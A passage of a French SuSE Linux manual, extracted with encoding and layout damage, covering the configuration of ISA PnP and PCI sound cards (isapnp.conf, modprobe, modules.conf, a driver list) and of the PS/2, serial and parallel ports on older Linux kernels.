  19198.     Cette liste peut ensuite Ωtre ΘditΘe manuellement afin que les ressources
  19199.     des cartes soient rΘparties de maniΦre diffΘrentes.
  19200.     La commande
  19201.     terre:/  #  pnpdump  -c  >  /etc/isapnp.conf
  19202.  
  19203.     crΘe le fichier /etc/isapnp.conf.
  19204.  
  19205.     Dans ce qui suit, une carte Creative Soundblaster AWE64 va Ωtre acti-
  19206.     vΘe :
  19207.  
  19208.     #  This  is  free  software,  see  the  sources  for  details.
  19209.     #  This  software  has  NO  WARRANTY,  use  at  your  OWN  RISK
  19210.     #
  19211.     #  For  details  of  this  file  format,  see  isapnp.conf(5)
  19212.     #
  19213.     #  For  latest  information  and  FAQ  on  isapnp  and  pnpdump  see:
  19214.     #  http://www.roestock.demon.co.uk/isapnptools/
  19215.     #
  19216.     #  Compiler  flags:  -DREALTIME  -DNEEDSETSCHEDULER  -DABORT_ONRESERR
  19217.     #
  19218.     #  Trying  port  address  0203
  19219.     #  Trying  port  address  020b
  19220.     #  Board  1  has  serial  identifier  54  17  0e  db  74  9e  00  8c  0e
  19221.  
  19222.     #  (DEBUG)
  19223.     (READPORT  0x020b)
  19224.     (ISOLATE  PRESERVE)
  19225.     (IDENTIFY  *)
  19226.     (VERBOSITY  2)
  19227.     (CONFLICT  (IO  FATAL)(IRQ  FATAL)(DMA  FATAL)(MEM  FATAL))  #  or  WARNING
  19228.  
  19229.     #  Card  1:  (serial  identifier  54  17  0e  db  74  9e  00  8c  0e)
  19230.     #  Vendor  Id  CTL009e,  Serial  Number  386849652,  checksum  0x54.
  19231.     #  Version  1.0,  Vendor  version  2.0
  19232.     #  ANSI  string  -->Creative  SB  AWE64  Gold<--
  19233.     #
  19234.     #  Logical  device  id  CTL0044
  19235.     #        Device  supports  vendor  reserved  register  @  0x38
  19236.     #        Device  supports  vendor  reserved  register  @  0x3a
  19237.  
  19238.  
  19239.                                                                                                                                 299
  19240. 10.  L'environnement_matΘriel_de_l'ordinateur_Linux________________________________________________________________________________*
  19241.  *_______________________________________@
  19242.  
  19243.  
  19244.  
  19245.                                      #        Device  supports  vendor  reserved  register  @  0x3b
  19246.                                      ##       DeviceDesupportsvivendorcereservedsuregisterpp@or0x3cts  vendor  reserved  register  *
  19247.  *@  0x3d
  19248.  
  19249.                                      #
  19250.                                      #  Edit  the  entries  below  to  uncomment  out  the  configuration  required.
  19251.                                      #  Note  that  only  the  first  value  of  any  range  is  given,  this  may  be
  19252.                                      #  changed  if  required
  19253.                                      #  Don't  forget  to  uncomment  the  activate  (ACT  Y)  when  happy
  19254.  
  19255.                                      (CONFIGURE  CTL009e/386849652  (LD  0
  19256.                                      #        ANSI  string  -->Audio<--
  19257.  
  19258.                                      #  Multiple  choice  time,  choose  one  only  !
  19259.  
  19260.                                      #        Start  dependent  functions:  priority  preferred
  19261.                                      #           IRQ  5.
  19262.                                      #                    High  true,  edge  sensitive  interrupt  (by  default)
  19263.                                         (INT  0  (IRQ  5  (MODE  +E)))
  19264.                                      #           First  DMA  channel  1.
  19265.                                      #                    8  bit  DMA  only
  19266.                                      #                    Logical  device  is  not  a  bus  master
  19267.                                      #                    DMA  may  execute  in  count  by  byte  mode
  19268.                                      #                    DMA  may  not  execute  in  count  by  word  mode
  19269.                                      #                    DMA  channel  speed  in  compatible  mode
  19270.                                         (DMA  0  (CHANNEL  1))
  19271.                                      #           Next  DMA  channel  5.
  19272.                                      #                    16  bit  DMA  only
  19273.                                      #                    Logical  device  is  not  a  bus  master
  19274.                                      #                    DMA  may  not  execute  in  count  by  byte  mode
  19275.                                      #                    DMA  may  execute  in  count  by  word  mode
  19276.                                      #                    DMA  channel  speed  in  compatible  mode
  19277.                                         (DMA  1  (CHANNEL  5))
  19278.                                      #           Logical  device  decodes  16  bit  IO  address  lines
  19279.                                      #                    Minimum  IO  base  address  0x0220
  19280.                                      #                    Maximum  IO  base  address  0x0220
  19281.                                      #                    IO  base  alignment  1  bytes
  19282.                                      #                    Number  of  IO  addresses  required:  16
  19283.                                         (IO  0  (SIZE  16)  (BASE  0x0220))
  19284.                                      #           Logical  device  decodes  16  bit  IO  address  lines
  19285.                                      #                    Minimum  IO  base  address  0x0330
  19286.                                      #                    Maximum  IO  base  address  0x0330
  19287.                                      #                    IO  base  alignment  1  bytes
  19288.                                      #                    Number  of  IO  addresses  required:  2
  19289.                                         (IO  1  (SIZE  2)  (BASE  0x0330))
  19290.                                      #           Logical  device  decodes  16  bit  IO  address  lines
  19291.                                      #                    Minimum  IO  base  address  0x0388
  19292.                                      #                    Maximum  IO  base  address  0x0388
  19293.                                      #                    IO  base  alignment  1  bytes
  19294.                                      #                    Number  of  IO  addresses  required:  4
  19295.                                         (IO  2  (SIZE  4)  (BASE  0x0388))
  19296.  
  19297.                                      #        End  dependent  functions
  19298.                                        (NAME  "CTL009e/386849652[0]{Audio                       }")
  19299.                                         (ACT  Y)
  19300.                                      ))
  19301.                                      #
  19302.                                      #  Logical  device  id  CTL7002
  19303.                                      #        Device  supports  vendor  reserved  register  @  0x39
  19304.                                      #        Device  supports  vendor  reserved  register  @  0x3a
  19305.                                      #        Device  supports  vendor  reserved  register  @  0x3b
  19306.                                      #        Device  supports  vendor  reserved  register  @  0x3c
  19307.  
  19308.  
  19309.  
  19310. 300
  19311. __________________________________________________________________________________________________________10.3.__Cartes_son________*
  19312.  *_______________
  19313.  
  19314.  
  19315.  
  19316.    #        Device  supports  vendor  reserved  register  @  0x3d
  19317.    ##  Edit  the  entries  below  to  uncomment  out  the  configuration  required.
  19318.  
  19319.    #  Note  that  only  the  first  value  of  any  range  is  given,  this  may  be  changed  if
  19320.    #  required
  19321.    #  Don't  forget  to  uncomment  the  activate  (ACT  Y)  when  happy
  19322.  
  19323.    (CONFIGURE  CTL009e/386849652  (LD  1
  19324.    #        Compatible  device  id  PNPb02f
  19325.    #        ANSI  string  -->Game<--
  19326.  
  19327.    #  Multiple  choice  time,  choose  one  only  !
  19328.  
  19329.    #        Start  dependent  functions:  priority  preferred
  19330.    #           Logical  device  decodes  16  bit  IO  address  lines
  19331.    #                    Minimum  IO  base  address  0x0200
  19332.    #                    Maximum  IO  base  address  0x0200
  19333.    #                    IO  base  alignment  1  bytes
  19334.    #                    Number  of  IO  addresses  required:  8
  19335.        (IO  0  (SIZE  8)  (BASE  0x0200))
  19336.  
  19337.    #        End  dependent  functions
  19338.      (NAME  "CTL009e/386849652[1]{Game                         }")
  19339.        (ACT  Y)
  19340.    ))
  19341.    #
  19342.    #  Logical  device  id  CTL0023
  19343.    #        Device  supports  vendor  reserved  register  @  0x38
  19344.    #        Device  supports  vendor  reserved  register  @  0x3a
  19345.    #        Device  supports  vendor  reserved  register  @  0x3b
  19346.    #        Device  supports  vendor  reserved  register  @  0x3c
  19347.    #        Device  supports  vendor  reserved  register  @  0x3d
  19348.    #
  19349.    #  Edit  the  entries  below  to  uncomment  out  the  configuration  required.
  19350.    #  Note  that  only  the  first  value  of  any  range  is  given,  this  may  be  changed  if
  19351.    #  required
  19352.    #  Don't  forget  to  uncomment  the  activate  (ACT  Y)  when  happy
  19353.  
  19354.    (CONFIGURE  CTL009e/386849652  (LD  2
  19355.    #        ANSI  string  -->WaveTable<--
  19356.  
  19357.    #  Multiple  choice  time,  choose  one  only  !
  19358.  
  19359.    #        Start  dependent  functions:  priority  preferred
  19360.    #           Logical  device  decodes  16  bit  IO  address  lines
  19361.    #                    Minimum  IO  base  address  0x0620
  19362.    #                    Maximum  IO  base  address  0x0620
  19363.    #                    IO  base  alignment  1  bytes
  19364.    #                    Number  of  IO  addresses  required:  4
  19365.        (IO  0  (SIZE  4)  (BASE  0x0620))
  19366.        (IO  1  (BASE  0x0a20))
  19367.        (IO  2  (BASE  0x0e20))
  19368.  
  19369.    #        End  dependent  functions
  19370.      (NAME  "CTL009e/386849652[2]{WaveTable                 }")
  19371.        (ACT  Y)
  19372.    ))
  19373.    #  End  tag...  Checksum  0x00  (OK)
  19374.  
  19375.    #  Returns  all  cards  to  the  "Wait  for  Key"  state
  19376.    (WAITFORKEY)
  19377.  
  19378.  
  19379.  
  19380.                                                                                                                                301
  19381. 10.  L'environnement_matΘriel_de_l'ordinateur_Linux________________________________________________________________________________*
  19382.  *_______________________________________@
  19383.  
  19384.  
  19385.  
  19386.                                  ~   Cartes son sur bus PCI :
  19387.                                      Les cartes son PCI sont trΦs simples α configurer. Le bus PCI est confi-
  19388.                                      gurΘ  automatiquement  par  la  machine  et  il  distribue  ainsi  automati-
  19389.                                      quement les ressources des diffΘrentes cartes. Les pilotes peuvent de-
  19390.                                      mander quelles sont les ressources α travers des interfaces logicielles
  19391.                                      dΘfinies.
  19392.  
  19393.                              ~   Installation/chargement des pilotes :
  19394.                                  └  la  derniΦre  Θtape,  la  configuration  matΘrielle  doit  Ωtre  communiquΘe
  19395.                                  aux pilotes du noyau. Ceci se fait par des entrΘes dans le fichier /etc/
  19396.                                  modules.conf.
  19397.  
  19398.                                  ~   Cartes ISA et PnP :
  19399.                                      Les  modules  prΘcompilΘs  pour  des  types  de  cartes  supportΘs  par
  19400.                                      le  noyau  sont  fournis  avec  SuSE     Linux.  Ils  sont  inclus  dans  le  pa-
  19401.                                      quetage  kernmod.  AprΦs  installation  des  sources  du  noyau  (paque-
  19402.                                      tage lx_suse), vous trouverez dans le rΘpertoire /usr/src/linux/
  19403.                                      Documentation/sound des informations sur les modules α utiliser.
  19404.                                      Contr⌠lez, dans le fichier /etc/modules.conf, que les alias dΘfinis
  19405.                                      pour le son ne sont pas fixΘs α off   . Le cas ΘchΘant, vous devrez mettre
  19406.                                      ces alias en commentaire en ajoutant le caractΦre `#' en dΘbut de ligne
  19407.                                      ainsi qu'il a ΘtΘ fait dans le fichier 10.3.1 page 306.
  19408.                                      Si vous possΘdez, par exemple, une carte de la famille Soundblaster 16 ,
  19409.                                      vous pouvez charger les pilotes pour les fonctions fournies par la carte
  19410.                                      (audio, MPU401 et synthΘtiseur) en tapant par exemple la commande
  19411.                                      suivante :
  19412.                                      terre:/  #  modprobe  sb  io=0x220  irq=5  dma=1  dma16=5  mpu_io=0x330
  19413.                                      Cette  commande  charge  le  pilote  proprement  dit  pour  la  Soundblas-
  19414.                                      ter  16.  Ce  mΩme  module  est  aussi  requis  pour  la  carte  AWE64.  Le
  19415.                                      pilote pour le MPU401 est un ΘlΘment du pilote de la carte son. Les
  19416.                                      modules  uart401,  sound,  soundlow  et  soundcore,  indispensables
  19417.                                      pour  utiliser  toutes  les  fonctions  de  la  carte  son,  seront  chargΘs  plus
  19418.                                      tard automatiquement. Ils fournissent quelques pilotes de bas niveau
  19419.                                      ainsi que toutes les fonctions communes aux modules son. Vous pou-
  19420.                                      vez, avec la commande
  19421.                                      terre:/  #  lsmod
  19422.                                      vous assurer que ces modules ont effectivement ΘtΘ chargΘs.
  19423.                                      terre:/  #  modprobe  adlib_card  io=0x388
  19424.                                      Cette commande charge le module pour le synthΘtiseur de la carte son.
  19425.                                      Les pilotes ΘnumΘrΘs dans le tableau 10.1 page ci-contre sont actuelle-
  19426.                                      ment  disponibles.
  19427.                                      Vous  trouverez  une  liste  des  paramΦtres  possibles  pour  les  diffΘ-
  19428.                                      rents  modules  dans  le  chapitre  sur  les  paramΦtres  du  noyau  (para-
  19429.                                      graphe 14.3.4 page 383).
  19430.  
  19431.                              ~   Cartes PCI
  19432.                                  Nous allons maintenant vous prΘsenter, Θtape par Θtape, la configuration
  19433.                                  des  cartes  son  en  prenant  comme  exemple  une  Creative  Soundblaster
  19434.                                  PCI 64/128 :
  19435.  
  19436.  
  19437. 302
  19438.     __________________________________________________________________________________________________________10.3.__Cartes_son____*
  19439.  *___________________
  19440.  
  19441.     _______________________________________________________________________________________________________________________
  19442.  
  19443.  
  19444. ad1816.o                           AD1816 Chip (par exemple TerraTec Base1/64)
  19445. ad1848.o                           AD1848 Chip (MSS)
  19446. adlib_card.o                       Pilote gΘnΘrique OPLx
  19447. cmipci.o                           CMI8338, expΘrimental ( ?)
  19448. cs4232.o                           Crystal 423x, chipsets
  19449. es1370.o                           Ensoniq 1370, chipset (voir PCI64/128)
  19450. es1371.o                           Creative Ensoniq 1371, chipset (voir PCI64/128)
  19451. esssolo1.o                         Solo1 ES1938/ES1969
  19452. gus.o                              Gravis Ultrasound
  19453. mad16.o                            MAD16
  19454. maui.o                             Turtle Beach Maui et Tropez
  19455. mpu401.o                           MPU401
  19456. msnd.o                             Turtle Beach MultiSound
  19457. msnd_classic.o                     Turtle Beach Classic/Monterey/Tahiti
  19458. msnd_pinnacle.o                    Turtle Beach Pinnacle/Fiji
  19459. nm256.o                            Neo Magic
  19460. opl3.o                             OPL3
  19461. opl3sa.o                           OPL3-SA1
  19462. opl3sa2.o                          YMF711,    YMF715,    YMF719,    OPL3-SA2,
  19463.                                    OPL3-SA3, OPL3-SAx
  19464. pas2.o                             Pro Audio Spectrum
  19465. pss.o                              Personal Sound System (ECHO ESC614)
  19466. sb.o                               Sound Blaster et Clones
  19467. sgalaxy.o                          Aztech Sound Galaxy
  19468. softoss2.o                         Software-MIDI-Synthesizer, pilote
  19469. sonicvibes.o                       S3 Sonic Vibes
  19470. sound.o                            Fonctions requises par tous les modules
  19471. soundlow.o                         Pilote son bas niveau
  19472. soundcore.o                        Pilote de base pour systΦmes son
  19473. sscape.o                           Ensoniq SoundScape
  19474. trix.o                             MediaTrix AudioTrix Pro
  19475. uart401.o                          UART401
  19476. uart6850.o                         UART6850
  19477. v_midi.o                           Sound Blaster DSP chips
  19478. wavefront.o                        Turtle Beach Maui, Tropez, Tropez Plus
  19479.  
  19480.     _______________________________________________________________________________________________________________________
  19481.  
  19482.                        Tab. 10.1: Liste des pilotes de cartes son
  19483.    Les cartes Soundblaster PCI 64/128 sont dotΘes de circuits audio du type
  19484.    Ensoniq ES1370 ou ES1371.
  19485.  
  19486.  
  19487.    1.  VΘrifiez,  α  l'aide  de  l'inscription  portΘe  sur  le  circuit  audio  de  votre
  19488.        carte son, s'il s'agit d'un circuit de type ES1370 ou ES1371. IntΘgrez
  19489.        la carte ;-)
  19490.  
  19491.    2.  Modifiez le fichier /etc/modules.conf. Vers la ligne 38, vous trou-
  19492.        vez les entrΘes suivantes :
  19493.  
  19494.  
  19495.                                                                                                                                    *
  19496.  *303
  19497. 10.  L'environnement_matΘriel_de_l'ordinateur_Linux________________________________________________________________________________*
  19498.  *_______________________________________@
  19499.  
  19500.  
  19501.                                      alias  char-major-14  off
  19502.  
  19503.                                      aliasalsoundiaoffs  midi  off
  19504.  
  19505.  
  19506.                                      Modifiez-les de sorte qu'elles deviennent :
  19507.  
  19508.                                      #  alias  char-major-14  off
  19509.                                      #  alias  sound  off
  19510.                                      #  alias  midi  off
  19511.  
  19512.                                      C'est vers la ligne 100 que commence la configuration des modules de
  19513.                                      la carte son. Transformez
  19514.  
  19515.                                           #  alias  char-major-14  es1370
  19516.  
  19517.  
  19518.                                      en
  19519.  
  19520.                                           alias  char-major-14  es1370
  19521.  
  19522.  
  19523.                                      par la suppression du caractΦre de commentaire.
  19524.                                      Si vous avec un ES1371 sur votre carte, procΘdez de maniΦre analogue
  19525.                                      en utilisant toutefois la prochaine entrΘe pour le module es1371.o.
  19526.  
  19527.                                  3.  DΘmarrez le mΘlangeur.
  19528.                                      Une commande lsmod      devrait produire l'affichage suivant :
  19529.                            ________________________________________________________________________________________________________*
  19530.  *________
  19531.                            | Module                                         Size    Used  by                                       *
  19532.  *         |
  19533.                            |                                                                                                       *
  19534.  *         |
  19535.                            | es1370                                         21748       1  (autoclean)                             *
  19536.  *         |
  19537.                            | soundcore                                      2084       4  (autoclean)  [es1370]                    *
  19538.  *         |
  19539.                            | ...                                                                                                   *
  19540.  *         |
  19541.                            |_______________________________________________________________________________________________________*
  19542.  *________ |
  19543.                                           affichage α l'Θcran 10.3.1: Sortie de la commande lsmod
  19544.  
  19545.  
  19546.                                  4.  Si cela ne marche pas tout de suite, essayez encore une fois aprΦs avoir
  19547.                                      lancΘ depmod  -a       .
  19548.  
  19549.                                  5.  Avec kscd, x11amp, ou quelque chose de similaire, essayez d'amener
  19550.                                      votre machine α Θmettre un son.
  19551.                                      Pour cela, vous devez ABSOLUMENT contr⌠ler le rΘglage du mΘlan-
  19552.                                      geur (si tous les canaux sont en mode silencieux, le plus beau pilote
  19553.                                      son ne sert α rien ;-)
  19554.  
  19555.                                  Notez  que  les  cartes  qui  requiΦrent  le  module  es1370.o  ou  es1371.o
  19556.                                  ne  sont  pas  reconnues  automatiquement  par  KDE  car  ces  modules  ne
  19557.                                  sont  pas  disponibles  dans  le  fichier  de  pΘriphΘrique  /dev/sndstat.  ~
  19558.                                  Pour pouvoir malgrΘ tout go√ter le plaisir du son sous KDE, vous devrez
  19559.                                  modifier le fichier /opt/kde/bin/startkde de la maniΦre suivante :
  19560.                                  Recherchez les lignes
  19561.  
  19562.                                  startifaudio  kaudioserver
  19563.                                  startifaudio  kwmsound
  19564.  
  19565.                                  et transformez-les en
  19566.  
  19567.                                  kaudioserver  &
  19568.                                  kwmsound  &
  19569.  
  19570.  
  19571.  
  19572. 304
  19573.        __________________________________________________________________________________________________________10.3.__Cartes_son_*
  19574.  *______________________
  19575.  
  19576.  
  19577.  
  19578.       La carte son Creative Soundblaster Live ! est gΘrΘe par un pilote spΘ-
  19579.       cial  dΘveloppΘ  par  Creative  Labs.  Installez  le  paquetage  emu10k1  de
  19580.       la  sΘrie  snd  avec  YaST .  Vous  trouverez  dans  le  fichier  /usr/doc/
  19581.       packages/emu10k1/README.SuSE  des  informations  complΘmentaires
  19582.       sur la marche α suivre pour installer le pilote.
  19583.  
  19584.  
  19585. VΘrifiez si tout a bien marchΘ :
  19586.  
  19587. Vous  avez  chargΘ  tous  les  modules  et  vous  dΘsirez  vous  assurer  qu'il  est
  19588. vraiment possible de produire du son. Lancez α cette fin (aprΦs avoir chargΘ
  19589. le module son) la commande suivante :
  19590.  
  19591.       terre:/  #  cat  /dev/sndstat
  19592.  
  19593. Cela devrait (dans le cas de la SB 16) donner une sortie analogue α celle de
  19594. l'affichage 10.3.2
  19595.  
  19596.        _______________________________________________________________________________________________________________________||
  19597.        |||||||| [...]                                                                                                          |
  19598.        |||||||| Audio  devices:                                                                                                |
  19599.        ||||||||                                                                                                                |
  19600.        |||||||| 0:  Sound  Blaster  16  (4.13)  (DUPLEX)                                                                       |
  19601.        |||||||| Synth  devices:                                                                                                |
  19602.        ||||||||                                                                                                                |
  19603.        |||||||| 0:  Yamaha  OPL3                                                                                               |
  19604.        |||||||| Midi  devices:                                                                                                 |
  19605.        ||||||||                                                                                                                |
  19606.        |||||||| 0:  Sound  Blaster  16                                                                                         |
  19607.        |||||||| Timers:                                                                                                        |
  19608.        ||||||||                                                                                                                |
  19609.        |||||||| 0:  System  clock                                                                                              |
  19610.        |||||||| Mixers:                                                                                                        |
  19611.        |||||||| 0:  Sound  Blaster                                                                                             |
  19612.        ||||||||_______________________________________________________________________________________________________________ |
  19613.  
  19614.     affichage α l'Θcran 10.3.2: Sortie de la commande cat  /dev/sndstat
  19615.  
  19616.  
  19617. Si cette commande provoque un affichage tel que celui que nous avons donnΘ
  19618. en exemple, vous pouvez essayer de jouer un fichier audio (vous trouverez de
  19619. tels fichiers par exemple dans le paquetage snd_au, le paquetage snd_wav
  19620. et le paquetage snd_mod de la sΘrie snd). Il vous faut pour cela le paquetage
  19621. sox de la sΘrie snd :
  19622.  
  19623.       terre:/  #  play  /usr/share/sounds/wav/applause.wav
  19624.       terre:/  #  tracker  /usr/share/sounds/mod/rebels.mod
  19625. Vous pouvez trΦs aisΘment, avec le programme KDE kmid , jouer des fichiers
  19626. Midi si votre carte offre le support nΘcessaire.
  19627.  
  19628. Si   cat  /dev/sndstat               provoque   l'affichage   que   vous   souhaitez   et   si
  19629. play  mysong.wav              revient sans message d'erreur alors que vous n'entendez
  19630. toujours rien, essayez de dΘmarrer le mΘlangeur audio dans le tableau de bord
  19631. de KDE. Il se peut aussi que le volume du son soit tout simplement mal rΘglΘ.
  19632.  
  19633.  
  19634. Chargement automatique des modules du noyau
  19635.  
  19636. Lorsque  vous  vous  Ωtes  assurΘ  que  votre  carte  est  complΦtement  suppor-
  19637. tΘe  par  les  pilotes  dont  vous  disposez,  vous  pouvez  charger  automatique-
  19638. ment  les  modules  correspondants  en  faisant  les  entrΘes  nΘcessaires  dans  le
  19639. fichier  /etc/modules.conf.  Pour  la  Soundblaster  16,  ces  entrΘes  seront
  19640. semblables α celles du fichier 10.3.1 page suivante.
  19641.  
  19642.  
  19643.                                                                                                                                    *
  19644.  *   305
  19645. 10.  L'environnement_matΘriel_de_l'ordinateur_Linux________________________________________________________________________________*
  19646.  *_______________________________________@
  19647.  
  19648.                            ________________________________________________________________________________________________________*
  19649.  *________||
  19650.                            | #  alias  char-major-14  off                                                                          *
  19651.  *         |
  19652.                            |                                                                                                       *
  19653.  *         |
  19654.                            | #  alias  sound  off                                                                                  *
  19655.  *         |
  19656.                            | #  alias  midi  off                                                                                   *
  19657.  *         |
  19658.                            |                                                                                                       *
  19659.  *         |
  19660.                            |                                                                                                       *
  19661.  *         |
  19662.                            | alias  char-major-14  sb                                                                              *
  19663.  *         |
  19664.                            | post-install  sb  /sbin/modprobe  "-k"  "adlib_card"                                                  *
  19665.  *         |
  19666.                            |                                                                                                       *
  19667.  *         |
  19668.                            | options  sb  io=0x0220  irq=7  dma=1  dma16=5  mpu_io=0x0330                                          *
  19669.  *         |
  19670.                            | options  adlib_card  io=0x0388         #  FM  synthesizer                                             *
  19671.  *         |
  19672.                            |_______________________________________________________________________________________________________*
  19673.  *________ |
  19674.  
  19675.                                     fichier 10.3.1: /etc/modules.conf                 : Options pour modules son
  19676.  
  19677.  
  19678.  
  19679.                            Il  n'existe  naturellement  pas  de  rΦgle  gΘnΘrale  permettant  de  dΘterminer
  19680.                            quelle carte son possΦde quelle fonctionnalitΘ. Vous devez, α l'aide de la do-
  19681.                            cumentation  de  la  carte  ainsi  que  des  informations  contenues  dans  /usr/
  19682.                            src/linux/Documentation/sound, dΘcouvrir vous-mΩme quels modules
  19683.                            il convient de charger dans chaque cas. Vous pouvez aussi trouver de nom-
  19684.                            breuses  informations  dans  les  fichiers  sources  des  pilotes  sous  /usr/src/
  19685.                            linux/drivers/sound. Mais il existe dΘjα dans le fichier /etc/modules.
  19686.                            conf quelques entrΘes prΘdΘfinies que vous pouvez modifier en consΘquence.
  19687.  
  19688.                            Au  lieu  de  charger  les  modules  α  travers  le  fichier  /etc/modules.conf,
  19689.                            vous pouvez aussi les charger par l'insertion des commandes modprobe        men-
  19690.                            tionnΘes  ci-dessus  dans  le  fichier  /sbin/init.d/boot.local  (voir  para-
  19691.                            graphe 17.4 page 448 et pages suivantes).
  19692.  
  19693.  
  19694.  
  19695.                            10.4        Interfaces de la machine
  19696.  
  19697.  
  19698.                            10.4.1       Ports PS/2
  19699.  
  19700.                            Les ports PS/2 ont ΘtΘ dΘveloppΘs par IBM pour les systΦmes PS/2. Au cours
  19701.                            de ces derniΦres annΘes, ces ports se sont de plus en plus rΘpandus grΓce au
  19702.                            standard ATX. Vous pouvez relier une souris ou un clavier aux ports PS/2 de
  19703.                            votre machine.
  19704.  
  19705.                            La  configuration  des  ports  PS/2  n'est  pas  indispensable  sous  Linux  du  fait
  19706.                            que le support pour PS/2 est intΘgrΘ dans le noyau. Le systΦme reconnaεt donc
  19707.                            automatiquement les ports PS/2 prΘsents et peut utiliser les pΘriphΘriques qui
  19708.                            y sont rattachΘs. Les ports sont reprΘsentΘs dans le systΦme par les fichiers de
  19709.                            pΘriphΘriques /dev/kbd et /dev/psaux.
  19710.  
  19711.  
  19712.                            10.4.2       Ports sΘrie
  19713.  
  19714.                            Les ports sΘrie (RS232) de votre machine sont souvent utilisΘs pour les mo-
  19715.                            dems externes. Vous pouvez aussi faire fonctionner des souris avec une inter-
  19716.                            face RS232 sur ces ports.
  19717.  
  19718.                            Sous Linux, le support des interfaces requiert le module du noyau serial.o.
  19719.                            Ce  module  est  chargΘ  automatiquement  lorsque  vous  essayez,  α  l'aide  de
  19720.                            logiciels adΘquats, d'accΘder α des pΘriphΘriques reliΘs α ces ports. Si vous
  19721.                            avez par exemple configurΘ votre accΦs Internet en vue d'utiliser un modem
  19722.                            sur COM1    , le module sera automatiquement chargΘ avant l'Θtablissement de la
  19723.                            connexion avec le fournisseur d'accΦs.
  19724.  
  19725.  
  19726. 306
  19727.        _____________________________________________________________________________________10.4.__Interfaces_de_la_machine________*
  19728.  *______________________
  19729.  
  19730.  
  19731.  
  19732. Vous  pouvez  modifier  la  configuration  de  vos  interfaces  sΘries  avec  le  pe-
  19733. tit programme setserial . Ce programme sera aussi exΘcutΘ α chaque dΘmar-
  19734. rage  du  systΦme  par  le  script  /sbin/init.d.  Vous  trouverez  des  informa-
  19735. tions complΘmentaires sur setserial dans les pages de man concernant ce pro-
  19736. gramme. Il est accΘdΘ aux ports sΘrie α travers les fichiers de pΘriphΘriques
  19737. /dev/ttyS0, /dev/ttyS1, et suivants
  19738.  
  19739.  
  19740. 10.4.3       Ports parallΦles
  19741.  
  19742. Le port parallΦle de votre machine est principalement utilisΘ pour le raccor-
  19743. dement des imprimantes. Mais vous pouvez aussi vous en servir pour les lec-
  19744. teurs ZIP externes ainsi que pour les lecteurs de CD.
  19745.  
  19746. Le  sous-systΦme  ``Parport''  du  noyau  Linux  actuel  2.2.xx  a  ΘtΘ  conτu  pour
  19747. permettre d'utiliser simultanΘment plusieurs pΘriphΘriques sur un mΩme port
  19748. parallΦle.1  Citons comme exemple d'application la connexion sur port paral-
  19749. lΦle d'un lecteur ZIP auquel une imprimante est rattachΘe.
  19750.  
  19751.  
  19752. Initialiser parport
  19753.  
  19754. Un  noyau  avec  support  parport       et  parport_pc          vous  est  nΘcessaire.2   Ici,
  19755. parport       est le sous-systΦme proprement dit du noyau alors que parport_pc
  19756. se  charge  de  l'intΘgration  au  niveau  matΘriel  du  port  du  PC  ainsi  que  de
  19757. quelques machines AXP. Avec la commande
  19758.  
  19759.     terre:  #  modprobe  parport_pc
  19760.  
  19761. vous pouvez insΘrer manuellement les modules. Assurez-vous, en lanτant la
  19762. commande lsmod     , que le port a ΘtΘ dΘtectΘ et a pu ensuite Ωtre configurΘ. Il
  19763. devrait alors apparaεtre dans la liste des modules parport        et parport_pc         .
  19764. Consultez aussi le fichier /var/log/messages pour savoir avec quelles va-
  19765. leurs parport       a ΘtΘ initialisΘ (voir fichier 10.4.1).
  19766.  
  19767.        _______________________________________________________________________________________________________________________||
  19768.  
  19769.        |||||||| Jun    3  09:15:53  tux  kernel:  parport0:  PC-style  at  0x378  [SPP,                                        |
  19770.        ||||||||                                                                                                   ECP]         |
  19771.        ||||||||_______________________________________________________________________________________________________________ |
  19772.  
  19773.          fichier 10.4.1: /var/log/messages                 : Initialisation de parport
  19774.  
  19775.  
  19776. Les entrΘes du fichier 10.4.2 sont utilisΘes pour la configuration du port. L'en-
  19777. trΘe placΘe en commentaire vous indique comment ajouter un port parallΦle.
  19778.  
  19779.        _______________________________________________________________________________________________________________________||
  19780.        |||||||| alias  parport_lowlevel       parport_pc                                                                       |
  19781.        |||||||| options  parport_pc  io=0x378  irq=none                                                                        |
  19782.        ||||||||                                                                                                                |
  19783.        ||||||||                                                                                                                |
  19784.        |||||||| #  If  you  have  multiple  parallel  ports,  specify  them  this  way:                                        |
  19785.        |||||||| #  options  parport_pc  io=0x378,0x278    irq=none,none                                                        |
  19786.        ||||||||_______________________________________________________________________________________________________________ |
  19787.  
  19788.           fichier 10.4.2: /etc/modules.conf                 : parport       -Konfiguration
  19789. 1      ____________________________________________________
  19790.    Le ``vieux'' noyau 2.0.xx ne permet d'utiliser qu'un seul et unique pΘriphΘrique sur un port
  19791. parallΦle et les connexions ``en chaεne'' ne sont en gΘnΘral pas non plus possibles !
  19792. 2 Vous n'avez pas besoin de compiler votre propre noyau, les modules nΘcessaires Θtant fournis
  19793. prΘcompilΘs avec SuSE   Linux !
  19794.  
  19795.  
  19796.                                                                                                                                    *
  19797.  *   307
  19798. 10.  L'environnement_matΘriel_de_l'ordinateur_Linux________________________________________________________________________________*
  19799.  *_______________________________________@
  19800.  
  19801.                            ________________________________________________________________________________________________________*
  19802.  *________||
  19803.                            |  En cas de difficultΘs, contr⌠lez d'abord dans le BIOS de la machine com-                             *
  19804.  *        ||||
  19805.                            || ment est paramΘtrΘe l'interface en question. Il devrait lui Ωtre explicitement                       *
  19806.  *        ||||
  19807.                            |  assignΘ une adresse (si possible 0x378     ) et elle devrait aussi avoir sa propre                   *
  19808.  *        ||||
  19809.                            |                                                                                                       *
  19810.  *        |||
  19811.                            |  interruption. D'Θventuelles ``auto''-configurations sont α Θviter.                                   *
  19812.  *        |||
  19813.                            |_______________________________________________________________________________________________________*
  19814.  *________|||_
  19815.  
  19816.                            Parfois il est aussi nΘcessaire d'activer les pΘriphΘriques dans un ordre prΘcis.
  19817.                            Consultez α ce sujet les manuels d'accompagnement ! Il s'est avΘrΘ efficace
  19818.                            d'activer d'abord la machine et immΘdiatement aprΦs ~ avant que l'amorτage
  19819.                            ne commence ~ les pΘriphΘriques externes !
  19820.  
  19821.  
  19822.                            Utiliser parport       : Imprimante, lecteurs ZIP, PLIP etc.
  19823.  
  19824.                            Si  vous  voulez  utiliser  un  pΘriphΘrique  sur  port  parallΦle,  vous  devez  tout
  19825.                            d'abord charger le module appropriΘ. Dans le cas d'une imprimante, il s'agit
  19826.                            du module lp   :
  19827.  
  19828.                                terre:  #  modprobe  lp
  19829.  
  19830.                            Et lsmod      devrait afficher, entre autre :
  19831.  
  19832.                            ________________________________________________________________________________________________________*
  19833.  *________
  19834.                            | parport_pc                        5568     1    (autoclean)                                           *
  19835.  *         |
